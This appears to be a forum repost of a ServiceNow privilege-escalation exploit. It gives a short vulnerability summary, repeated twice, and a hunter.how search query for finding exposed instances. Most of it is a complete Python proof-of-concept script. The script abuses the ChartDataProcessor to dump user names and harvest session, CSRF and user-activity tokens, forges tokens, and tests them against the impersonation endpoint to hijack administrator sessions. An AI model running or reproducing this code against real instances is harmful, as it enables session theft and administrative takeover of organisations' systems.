Creds to R3zk0n
Original Source with full explanation:
Query for "hunter.how":
Summary:
In summary, Its possible to escalate privileges from a standard user account to an administrator of the ServiceNow instance by leveraging several vulnerabilities. These vulnerabilities included insecure access control in the “ChartDataProcessor” processor, overly permissive read access to sensitive tables in the ServiceNow database, and insufficient signature validation of the glide_user_activity token. The root cause of the issue was due to insecure access control, but the other vulnerabilities discovered and chained together increased the impact from medium to critical, with a CVSS score of 9.9
PoC:
Original Source with full explanation:
Код:
https://x64.sh/posts/ServiceNow-Insecure-access-control-to-admin/
Query for "hunter.how":
Код:
product.name="ServiceNow"
Summary:
In summary, Its possible to escalate privileges from a standard user account to an administrator of the ServiceNow instance by leveraging several vulnerabilities. These vulnerabilities included insecure access control in the “ChartDataProcessor” processor, overly permissive read access to sensitive tables in the ServiceNow database, and insufficient signature validation of the glide_user_activity token. The root cause of the issue was due to insecure access control, but the other vulnerabilities discovered and chained together increased the impact from medium to critical, with a CVSS score of 9.9
PoC:
Python:
import base64
import requests
import argparse
import requests
import bs4
import json
import urllib3
import argparse
import xml.etree.ElementTree as ET
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
def banner():
banner = '''
..ooo@@@XXX%%%xx..
.oo@@XXX%x%xxx.. ` .
.o@XX%%xx.. ` .
o@X%.. ..ooooooo
.@X%x. ..o@@^^ ^^@@o
.ooo@@@@@@ooo.. ..o@@^ @X%
o@@^^^ ^^^@@@ooo.oo@@^ %
xzI -*-- ^^^o^^ --*- %
@@@o ooooooo^@@^o^@X^@oooooo .X%x
I@@@@@@@@@XX%%xx ( o@o )X%x@ROMBASED@@@X%x
I@@@@XX%%xx oo@@@@X% @@X%x ^^^@@@@@@@X%x
@X%xx o@@@@@@@X% @@XX%%x ) ^^@X%x
^ xx o@@@@@@@@Xx ^ @XX%%x xxx
o@@^^^ooo I^^ I^o ooo . x
oo @^ IX I ^X @^ oo
IX U . V IX
V . . V
.-~*´¨¯¨`*·~-.,-(Account Now)-,.-~*´¨¯¨`*·~-.
Privilege Escalation by Rezk0n and WucciSec
greets to Wireghoul, GmP, punk_fairybread, & d4rkt1d3
'''
print(banner)
target = "https://<ServiceNow_Instance>:443/xmlhttp.do"
cookies = {"BIGipServerpool_<instancename>": "", "JSESSIONID": "", "__CJ_g_startTime": "%%22", "glide_mfa_remembered_browser": "", "glide_session_store": "", "glide_user_activity": "", "glide_user_route": ""}
headers = {"User-Agent": "", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "X-Usertoken": "", "Origin": "", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Referer": "", "Te": "trailers", "Content-Type": "application/x-www-form-urlencoded"}
def get_users(xrange):
session = requests.session()
post_data = '{"page_num":"%s","series":[{"table": "sys_user","groupby":"user_name",' \
'"filter":"","plot_type":"horizontal_bar"}]}' % (xrange)
payload = {"sysparm_request_params": post_data, "sysparm_processor": "ChartDataProcessor"}
json_response = session.post(target, headers=headers, cookies=cookies, data=payload,
proxies=proxies, verify=False)
tree = ET.fromstring(json_response.text)
notags = ET.tostring(tree, encoding='utf8', method='text')
json_data = json.loads(notags)
a = json_data['CHART_DATA']
b = json.loads(a)['series']
for i in b:
arr = i['aggregate_query']
c = i['aggregate_query']
print(c)
if len(c) == 0:
exit(1)
def retrieve_tokens(table, groupby, name, admin_filter):
session = requests.session()
if not admin_filter:
post_data = '{"page_num":"0","series":[{"table": "%s","groupby":"%s",' \
'"filter":"nameCONTAINS%s","plot_type":"horizontal_bar"}]}' % (table, groupby, name)
else:
post_data = '{"page_num":"0","series":[{"table": "%s","groupby":"%s",' \
'"filter":"nameCONTAINS%s^invalidatedISNULL","plot_type":"horizontal_bar"}]}' % (
table, groupby, name)
payload = {
"sysparm_request_params": post_data, "sysparm_processor": "ChartDataProcessor"}
json_response = session.post(target, headers=headers, cookies=cookies, data=payload,
proxies=proxies, verify=False)
tree = ET.fromstring(json_response.text)
notags = ET.tostring(tree, encoding='utf8', method='text')
json_data = json.loads(notags)
a = json_data['CHART_DATA']
b = json.loads(a)['series']
for i in b:
arr = i['aggregate_query']
c = i['aggregate_query'][0]
if not admin_filter:
base64_bytes_arr = []
num = 0
for val in arr:
try:
token = arr[num].strip('token=')
token_format = "SCv3_1:{}=:{}".format(token, "AAAA")
encoded_token = token_format.encode('ascii')
base64_bytes = base64.b64encode(encoded_token)
base64_bytes_arr.append(base64_bytes)
except Exception as err:
#print(err)
print("No Active Session, we cant steal anything!! :(")
exit(1)
num = num + 1
return base64_bytes_arr
else:
try:
return arr
except Exception as e:
print("No Vaild Sessions")
exit(1);
def validation(sess, user, activity):
session = requests.session()
validation_endpoint = "https://<ServiceNowInstance>/api/now/ui/impersonate/role"
validation_cookies = {
"glide_user_activity": activity,
"glide_session_store": sess
}
validation_headers = {"X-Usertoken": user,
"Origin": "https://<serviceNowInstance>", "Content-Type": "application/json;charset=utf-8"
}
payload = {"role":""}
json_response = session.post(validation_endpoint, headers=validation_headers, cookies=validation_cookies, json=payload,
proxies=proxies, verify=False)
return json_response.status_code, json_response.json()
def main():
glide_session_stores_arr = []
usertoken_arr = []
glide_user_activity_arr = []
try:
glide_session_stores_arr = retrieve_tokens('sys_user_session', 'id', args.n, True)
usertoken_arr = retrieve_tokens('sys_user_session', 'csrf_token', args.n, True)
glide_user_activity_arr = retrieve_tokens('sys_user_token', 'token', args.n, False)
except Exception as e:
print("No valid session with that user..:(\n")
exit(1)
print("Testing access to the /api/now/ui/impersonate/role endpoint")
is_valid = False
for glide_session_stores in glide_session_stores_arr:
for usertoken in usertoken_arr:
for glide_user_activity in glide_user_activity_arr:
if is_valid:
break
try:
session_token = glide_session_stores.strip("id=")
user_token = usertoken[11:]
activity_token = glide_user_activity.decode('ascii')
status_code, response = validation(session_token, user_token, activity_token)
if status_code == 201:
print("Success! Potential Administrator Credentials!")
print("\tglide_session_stores: " + str(session_token))
print("\tX-Usertoken: " + str(user_token))
print("\tglide_user_activity: " + str(activity_token))
print("\n")
active_roles = response['result']['activeRoles']
print("\tActive Roles: " + str(active_roles))
is_valid = True
else:
print(".",)
except Exception as e:
print(e)
if __name__ == "__main__":
banner()
parser = argparse.ArgumentParser()
parser.add_argument('-n', type=str, required=False, help="Provide a user account to takeover.")
parser.add_argument('-d', '--dump', action='store_true')
args = parser.parse_args()
if args.dump:
for i in range(1, 10):
get_users(xrange=i)
if args.n:
main()